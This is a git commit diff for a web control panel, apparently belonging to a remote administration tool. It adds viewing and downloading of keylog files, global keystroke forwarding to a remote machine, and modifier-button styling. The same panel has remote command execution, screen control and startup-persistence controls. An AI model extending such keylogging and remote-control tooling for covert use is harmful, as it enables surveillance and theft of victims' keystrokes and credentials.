Add log viewing and downloading functionality to the web interface. Implement interactive log selection with visual feedback, and enhance modifier button states for improved user experience. Update styles for better accessibility and usability of log-related elements.

This commit is contained in:
2026-08-28 13:22:59 +03:00
parent ea71090a53
commit 4f8ee5f6be
2 changed files with 150 additions and 39 deletions
+93 -20
View File
@@ -10,6 +10,8 @@
const execMeta = document.getElementById("exec-meta"); const execMeta = document.getElementById("exec-meta");
const logMeta = document.getElementById("log-meta"); const logMeta = document.getElementById("log-meta");
const logRows = document.getElementById("log-rows"); const logRows = document.getElementById("log-rows");
const logView = document.getElementById("log-view");
const logViewTitle = document.getElementById("log-view-title");
const startupState = document.getElementById("startup-state"); const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add"); const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove"); const startupRemove = document.getElementById("startup-remove");
@@ -20,6 +22,8 @@
let objectUrls = []; let objectUrls = [];
let videoRunning = false; let videoRunning = false;
let videoTabActive = false;
let selectedLogName = "";
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
function showError(message) { function showError(message) {
@@ -338,6 +342,41 @@
const modState = { ctrl: false, alt: false, shift: false, win: false }; const modState = { ctrl: false, alt: false, shift: false, win: false };
function setModButton(name, active) {
const button = document.querySelector(`.mod-btn[data-mod="${name}"]`);
if (!button) return;
button.classList.toggle("active", active);
button.setAttribute("aria-pressed", active ? "true" : "false");
}
function isTypingTarget(el) {
if (!el || el === document.body) return false;
const tag = el.tagName;
if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true;
if (el.isContentEditable) return true;
return false;
}
function setVideoTabActive(active) {
if (videoTabActive === active) return;
videoTabActive = active;
document.removeEventListener("keydown", onVideoKeydown, true);
if (active) {
document.addEventListener("keydown", onVideoKeydown, true);
}
}
function onVideoKeydown(event) {
if (!videoTabActive) return;
if (isTypingTarget(event.target)) return;
if (MODIFIER_CODES.has(event.code)) return;
const key = keyFromEvent(event);
if (!key) return;
event.preventDefault();
event.stopPropagation();
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
}
function keyFromEvent(event) { function keyFromEvent(event) {
if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; if (CODE_KEYS[event.code]) return CODE_KEYS[event.code];
if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) {
@@ -368,35 +407,75 @@
for (const [name, active] of Object.entries(modState)) { for (const [name, active] of Object.entries(modState)) {
if (!active) continue; if (!active) continue;
modState[name] = false; modState[name] = false;
document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active"); setModButton(name, false);
jobs.push(sendRemoteKey(name, "up")); jobs.push(sendRemoteKey(name, "up"));
} }
await Promise.all(jobs); await Promise.all(jobs);
} }
function downloadLog(name) {
const link = document.createElement("a");
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`;
link.download = name;
document.body.append(link);
link.click();
link.remove();
}
async function openLog(name, row) {
selectedLogName = name;
document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected"));
row?.classList.add("selected");
logViewTitle.textContent = name;
logView.hidden = false;
logView.textContent = "Loading…";
try {
const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`);
logView.textContent = await res.text();
} catch (err) {
logView.textContent = "";
logView.hidden = true;
logViewTitle.textContent = "";
showError(err.message);
}
}
async function listKeylogs() { async function listKeylogs() {
const res = await api("/api/v1/keylog"); const res = await api("/api/v1/keylog");
const data = await res.json(); const data = await res.json();
const files = data.files || []; const files = data.files || [];
logMeta.textContent = `${files.length} files · ${data.directory || ""}`; logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`;
logRows.replaceChildren(); logRows.replaceChildren();
for (const file of files) { for (const file of files) {
const tr = document.createElement("tr"); const tr = document.createElement("tr");
tr.className = "log-row";
if (file.name === selectedLogName) tr.classList.add("selected");
const name = document.createElement("td"); const name = document.createElement("td");
name.className = "log-name";
name.textContent = file.name; name.textContent = file.name;
name.addEventListener("click", () => {
openLog(file.name, tr).catch((err) => showError(err.message));
});
tr.addEventListener("contextmenu", (event) => {
event.preventDefault();
downloadLog(file.name);
});
const size = document.createElement("td"); const size = document.createElement("td");
size.textContent = formatBytes(file.size || 0); size.textContent = formatBytes(file.size || 0);
const modified = document.createElement("td"); const modified = document.createElement("td");
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
const action = document.createElement("td"); tr.append(name, size, modified);
const link = document.createElement("a");
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`;
link.download = file.name;
link.textContent = "Download";
action.append(link);
tr.append(name, size, modified, action);
logRows.append(tr); logRows.append(tr);
} }
if (selectedLogName && !files.some((file) => file.name === selectedLogName)) {
selectedLogName = "";
logView.hidden = true;
logView.textContent = "";
logViewTitle.textContent = "";
} else if (selectedLogName) {
const row = logRows.querySelector("tr.log-row.selected");
openLog(selectedLogName, row).catch((err) => showError(err.message));
}
} }
async function runCommand() { async function runCommand() {
@@ -420,7 +499,9 @@
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active")); document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
button.classList.add("active"); button.classList.add("active");
document.getElementById(button.dataset.tab).classList.add("active"); document.getElementById(button.dataset.tab).classList.add("active");
if (button.dataset.tab !== "video") { const onVideo = button.dataset.tab === "video";
setVideoTabActive(onVideo);
if (!onVideo) {
stopVideo(); stopVideo();
} }
if (button.dataset.tab === "logs") { if (button.dataset.tab === "logs") {
@@ -473,23 +554,15 @@
event.preventDefault(); event.preventDefault();
sendClick(event, "right").catch((err) => showError(err.message)); sendClick(event, "right").catch((err) => showError(err.message));
}); });
const videoKeys = document.getElementById("video-keys");
videoKeys.addEventListener("keydown", (event) => {
if (MODIFIER_CODES.has(event.code)) return;
const key = keyFromEvent(event);
if (!key) return;
event.preventDefault();
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
});
document.querySelectorAll(".mod-btn").forEach((button) => { document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => { button.addEventListener("click", () => {
const name = button.dataset.mod; const name = button.dataset.mod;
if (!name) return; if (!name) return;
modState[name] = !modState[name]; modState[name] = !modState[name];
button.classList.toggle("active", modState[name]); setModButton(name, modState[name]);
sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => {
modState[name] = !modState[name]; modState[name] = !modState[name];
button.classList.toggle("active", modState[name]); setModButton(name, modState[name]);
showError(err.message); showError(err.message);
}); });
}); });
+57 -19
View File
@@ -130,24 +130,60 @@
padding: 0.65rem 1.25rem; padding: 0.65rem 1.25rem;
color: var(--danger); color: var(--danger);
} }
nav button.mod-btn.active { .mod-btn {
background: var(--accent); position: relative;
border-color: var(--accent); min-width: 3.75rem;
color: #fff; font-weight: 600;
letter-spacing: 0.02em;
background: #f3f4f6;
border-color: #d1d5db;
color: var(--muted);
transition: background 0.12s, border-color 0.12s, color 0.12s, box-shadow 0.12s;
} }
#video-keys { .mod-btn::before {
content: "";
display: inline-block;
width: 0.45rem;
height: 0.45rem;
margin-right: 0.35rem;
border-radius: 50%;
background: #9ca3af;
vertical-align: 0.05em;
transition: background 0.12s, box-shadow 0.12s;
}
.mod-btn.active {
background: #dbeafe;
border-color: var(--accent);
color: #1e40af;
box-shadow: inset 0 1px 2px rgba(37, 99, 235, 0.12);
}
.mod-btn.active::before {
background: var(--accent);
box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.25);
}
#video-key-hint {
flex: 1; flex: 1;
min-width: 12rem; min-width: 12rem;
padding: 0.55rem 0.75rem; padding: 0.55rem 0.75rem;
border: 1px dashed var(--line); border: 1px solid var(--line);
border-radius: 6px; border-radius: 6px;
background: #fff; background: #f9fafb;
cursor: text; color: var(--muted);
outline: none; font-size: 0.9rem;
} }
#video-keys:focus { td.log-name {
border-color: var(--accent); cursor: pointer;
box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15); color: var(--accent);
}
tr.log-row.selected td { background: #eff6ff; }
#log-view {
margin-top: 0.75rem;
max-height: 28rem;
}
#log-view-title {
margin: 0 0 0.35rem;
font-size: 0.9rem;
color: var(--muted);
} }
</style> </style>
</head> </head>
@@ -226,14 +262,14 @@
<canvas id="video-canvas" width="1280" height="720"></canvas> <canvas id="video-canvas" width="1280" height="720"></canvas>
<p id="video-meta" class="meta"></p> <p id="video-meta" class="meta"></p>
<div class="row" style="margin-top:0.75rem"> <div class="row" style="margin-top:0.75rem">
<div id="video-keys" tabindex="0">Click here, then type on your keyboard</div> <div id="video-key-hint">Keyboard sends to remote while this tab is active</div>
</div> </div>
<div class="row"> <div class="row">
<button type="button" class="mod-btn" data-mod="ctrl">Ctrl</button> <button type="button" class="mod-btn" data-mod="ctrl" aria-pressed="false">Ctrl</button>
<button type="button" class="mod-btn" data-mod="alt">Alt</button> <button type="button" class="mod-btn" data-mod="alt" aria-pressed="false">Alt</button>
<button type="button" class="mod-btn" data-mod="shift">Shift</button> <button type="button" class="mod-btn" data-mod="shift" aria-pressed="false">Shift</button>
<button type="button" class="mod-btn" data-mod="win">Win</button> <button type="button" class="mod-btn" data-mod="win" aria-pressed="false">Win</button>
<span class="meta">Toggle modifiers, then type in the box above</span> <span class="meta">Toggle sticky modifiers · type anywhere on this tab</span>
</div> </div>
</section> </section>
<section id="exec" class="panel"> <section id="exec" class="panel">
@@ -257,10 +293,12 @@
<p id="log-meta" class="meta"></p> <p id="log-meta" class="meta"></p>
<table> <table>
<thead> <thead>
<tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr> <tr><th>File</th><th>Size</th><th>Modified</th></tr>
</thead> </thead>
<tbody id="log-rows"></tbody> <tbody id="log-rows"></tbody>
</table> </table>
<p id="log-view-title" class="meta"></p>
<pre id="log-view" hidden></pre>
</section> </section>
</main> </main>
<script src="/app.js"></script> <script src="/app.js"></script>